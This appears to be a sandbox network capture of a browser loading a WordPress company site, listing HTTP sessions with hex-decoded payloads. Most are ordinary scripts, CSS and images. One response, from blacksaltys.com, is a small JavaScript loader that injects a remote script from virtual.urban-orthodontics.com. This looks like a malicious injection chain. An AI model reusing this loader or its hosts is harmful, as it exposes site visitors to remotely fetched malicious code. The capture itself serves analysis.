2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 5d 3d 63 5b 65 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 61 7d 63 3d 67 61 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 66 3d 67 61 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e Data Ascii: +b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument\|\|a).documentElemen
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3a 63 2e 71 73 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 61 29 3b 69 66 28 22 2a 22 3d 3d 3d 61 29 7b 77 68 69 6c 65 28 63 3d 66 5b 65 2b 2b 5d 29 31 3d 3d 3d 63 2e 6e 6f 64 65 54 79 70 65 26 26 64 2e 70 75 73 68 28 63 29 3b 72 65 74 75 72 6e 20 64 7d 72 65 74 75 72 6e 20 Data Ascii: ame?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 21 3d 27 27 5d 3a 78 22 29 2c 72 2e 70 75 73 68 28 22 21 3d 22 2c 50 29 7d 29 2c 71 3d 71 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 71 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 72 3d 72 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 72 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 62 3d 24 2e 74 65 73 74 28 6f 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 74 3d 62 7c 7c 24 2e 74 65 73 74 28 6f 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 39 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 3f 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 61 2c 64 3d 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 61 3d 3d 3d 64 7c 7c 21 28 21 64 7c 7c 31 21 3d Data Ascii: !='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("\|")),r=r.length&&new RegExp(r.join("\|")),b=$.test(o.compareDocumentPosition),t=b\|\|$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d\|\|!(!d\|\|1!=
2024-10-07 12:10:13 UTC	1378	IN	Data Raw: 54 79 70 65 29 72 65 74 75 72 6e 20 64 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 67 61 28 62 2c 6e 2c 6e 75 6c 6c 2c 5b 61 5d 29 2e 6c 65 6e 67 74 68 3e 30 7d 2c 67 61 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 2c 74 28 61 2c 62 29 7d 2c 67 61 2e 61 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 21 3d 3d 6e 26 26 6d 28 61 29 3b 76 61 72 20 65 3d 64 2e 61 74 74 72 48 61 6e 64 6c 65 5b 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 66 3d 65 26 26 44 2e 63 61 6c 6c 28 64 2e 61 74 74 72 48 61 6e 64 6c 65 2c 62 2e 74 6f 4c 6f 77 65 72 43 61 73 Data Ascii: Type)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument\|\|a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument\|\|a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49738	77.232.36.155	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 12:10:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 12:10:13 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 12:10:13 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49742	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	701	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 2889 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:13 UTC	2889	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 31 70 78 29 20 7b 0a 0a 09 2f 2a 20 4f 76 65 72 6c 61 79 20 2a 2f 0a 09 23 6c 69 67 68 74 63 61 73 65 2d Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) /@media screen and (min-width: 641px) {/ Overlay */#lightcase-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49737	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	636	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 409 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:13 UTC	409	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 4d 4c 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 44 72 6f 70 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 29 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 72 65 74 75 72 6e 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 61 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 69 74 65 6d 2d 74 6f 67 67 6c 65 Data Ascii: "use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49740	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	578	OUT	GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 13380 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:13 UTC	7923	IN	Data Raw: 2f 2a 20 4d 6f 64 65 72 6e 69 7a 72 20 32 2e 38 2e 33 20 28 43 75 73 74 6f 6d 20 42 75 69 6c 64 29 20 7c 20 4d 49 54 20 26 20 42 53 44 0a 20 2a 20 42 75 69 6c 64 3a 20 68 74 74 70 3a 2f 2f 6d 6f 64 65 72 6e 69 7a 72 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 23 2d 66 6f 6e 74 66 61 63 65 2d 62 61 63 6b 67 72 6f 75 6e 64 73 69 7a 65 2d 62 6f 72 64 65 72 69 6d 61 67 65 2d 62 6f 72 64 65 72 72 61 64 69 75 73 2d 62 6f 78 73 68 61 64 6f 77 2d 66 6c 65 78 62 6f 78 2d 66 6c 65 78 62 6f 78 6c 65 67 61 63 79 2d 68 73 6c 61 2d 6d 75 6c 74 69 70 6c 65 62 67 73 2d 6f 70 61 63 69 74 79 2d 72 67 62 61 2d 74 65 78 74 73 68 61 64 6f 77 2d 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 2d 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 65 6e 65 72 61 74 65 64 63 6f 6e 74 65 6e 74 2d 63 73 73 Data Ascii: /* Modernizr 2.8.3 (Custom Build) \| MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-css
2024-10-07 12:10:13 UTC	5457	IN	Data Raw: 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 66 2e 63 6c 6f 6e 65 4e 6f 64 65 28 29 2c 63 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3b 68 2e 73 68 69 76 4d 65 74 68 6f 64 73 26 26 28 22 2b 6d 28 29 2e 6a 6f 69 6e 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 77 5c 2d 5d 2b 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 2e 63 72 65 61 74 65 45 6c 65 6d 28 61 29 2c 62 2e 66 72 61 67 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 27 63 28 22 27 2b 61 2b 27 22 29 27 7d 29 2b 22 29 3b 72 65 74 75 72 6e 20 6e 7d 22 29 28 73 2c 62 2e 66 72 61 67 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 61 7c 7c 28 61 3d 62 29 3b 76 61 72 20 63 3d 6e 28 61 29 3b 72 65 74 75 72 6e 20 73 2e 73 68 69 76 43 53 53 26 26 21 67 26 26 21 63 2e 68 61 73 43 53 Data Ascii: ion(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a\|\|(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49739	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	650	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 06 Feb 2024 14:31:02 GMT Accept-Ranges: bytes Content-Length: 713 Content-Type: image/svg+xml
2024-10-07 12:10:13 UTC	713	IN	Data Raw: 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 0a 09 3c 67 20 69 64 3d 22 4c 61 79 65 72 5f 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 33 33 36 36 22 20 64 3d 22 4d 30 2c 30 68 31 31 30 2e Data Ascii: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve"><g id="Layer_2"><path fill="#003366" d="M0,0h110.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49741	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	646	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:13 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:04 GMT Accept-Ranges: bytes Content-Length: 17604 Content-Type: image/png
2024-10-07 12:10:13 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 eb 00 00 00 ca 08 06 00 00 00 44 fa b7 46 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRDFtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:13 UTC	8000	IN	Data Raw: ef 02 de a3 46 8d d2 5d 46 9d 00 3f c2 ff 5e 50 4a fe 35 5b ea 91 2d f7 e8 e6 00 8d d8 5a 37 fc 45 b9 de 7c f3 cd f5 b4 47 55 ca 96 b3 f3 59 ca ae 5f bf 7e b5 04 ab ee c1 e8 66 b7 0a 66 41 d8 56 86 36 79 2f 56 4b 0e 52 d4 54 58 38 28 40 d1 84 95 b7 aa a0 92 d1 3c 7f 2c 13 2c 0a dc 3b a9 e0 1e 0d 73 55 cb 02 72 73 30 ba 35 20 74 73 b0 d6 a8 5b ad 12 e2 a2 54 66 60 65 cb d4 b9 84 0b 60 cb d8 39 79 bf 97 6e c6 15 00 fc 6e e1 a6 dd 49 02 a7 b4 a6 8f 76 12 61 8d 47 73 36 d8 44 96 a1 27 cf 57 ad 5a 55 a6 f8 ae f2 66 ea 71 71 66 ae 4b f8 2f 5f 96 45 58 5d 91 86 55 11 c0 e2 41 f5 53 56 aa 9d 6b 02 38 9e 78 b3 91 00 d6 f2 b0 fe e1 0f 7f 68 81 3d fc 45 59 fc 20 52 09 3e 1b 3b 1f f9 69 51 3d 77 ac 53 75 75 35 2a ab 42 a1 2c d6 92 df 6e 56 6c 6a 39 18 6b 35 80 e5 4d Data Ascii: F]F?^PJ5[-Z7E\|GUY_~ffAV6y/VKRTX8(@<,,;sUrs05 ts[Tf`e`9ynnIvaGs6D'WZUfqqfK/_EX]UASVk8xh=EY R>;iQ=wSuu5*B,nVlj9k5M
2024-10-07 12:10:13 UTC	1645	IN	Data Raw: 43 31 77 79 73 fd c0 81 03 2f 7c f0 c1 07 5b 05 0b 49 af b3 43 42 f4 4c 4a 56 58 79 60 bd b3 fd 0b d0 a6 0c 1d 3a f4 a9 b4 b4 b4 7f 04 ab b2 ac 70 91 89 f9 9f bd 7b f7 fe e7 93 4f 3e 39 2c 81 d0 68 cf bf 76 48 ae dd 3b e0 1c 2b e8 a5 a7 a7 bf 1c e8 35 aa 2b 17 b0 c1 e5 cc cf 13 97 e2 70 05 09 28 da 73 fb 28 26 97 57 34 52 53 ac 3e ce 45 7b dd dc b5 d5 68 6c ae 64 02 35 51 61 e5 0b bf 53 c3 2c 4e 21 85 bd fc de 7b ef fd bf 46 aa 65 52 6d 3f 3e 7d fa f4 c2 d7 5f 7f fd 23 45 7b 82 6a 33 dd f8 64 b0 7a 2a 9c 91 23 47 4e c7 3c 53 81 04 68 c6 8f 1f cf 96 8d 74 2b fe 83 ca 83 6a ae 51 55 74 a0 0a 6a 7a 28 f9 06 d7 a2 a8 a8 68 9c 30 58 9c 57 53 ad 91 33 09 1b f1 4d 46 58 45 60 35 55 76 c0 80 01 77 35 6f de fc 15 f2 0d db 84 e1 9c 95 04 6e ee c5 8b 17 73 a7 4d 9b Data Ascii: C1wys/\|[ICBLJVXy`:p{O>9,hvH;+5+p(s(&W4RS>E{hld5QaS,N!{FeRm?>}_#E{j3dz*#GN<Sht+jQUtjz(h0XWS3MFXE`5Uvw5onsM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49743	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:13 UTC	413	OUT	GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	268	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 10 Mar 2021 20:56:59 GMT Accept-Ranges: bytes Content-Length: 2490 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:14 UTC	2490	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 76 61 72 20 53 55 43 43 45 53 53 5f 53 54 41 54 55 53 20 3d 20 22 6d 61 69 6c 5f 73 65 6e 74 22 3b 0a 20 20 76 61 72 20 41 4a 41 58 5f 41 43 54 49 4f 4e 20 3d 20 22 67 65 74 44 6f 77 6e 6c 6f 61 64 42 75 74 74 6f 6e 22 3b 0a 20 20 76 61 72 20 53 55 50 50 4f 52 54 45 44 5f 56 45 52 53 49 4f 4e 53 20 3d 20 5b 34 2c 20 35 5d 3b 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 77 61 72 6e 56 65 72 73 69 6f 6e 28 76 65 72 73 69 6f 6e 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 0a 20 20 20 20 20 20 22 5b 43 46 37 20 47 41 54 45 44 20 43 4f 4e 54 45 4e 54 5d 3a 20 54 68 69 73 20 76 65 72 73 69 6f 6e 20 6f 66 20 43 46 37 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3a 20 22 20 2b 20 76 65 72 73 Data Ascii: (function ($) { var SUCCESS_STATUS = "mail_sent"; var AJAX_ACTION = "getDownloadButton"; var SUPPORTED_VERSIONS = [4, 5]; function warnVersion(version) { console.warn( "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + vers

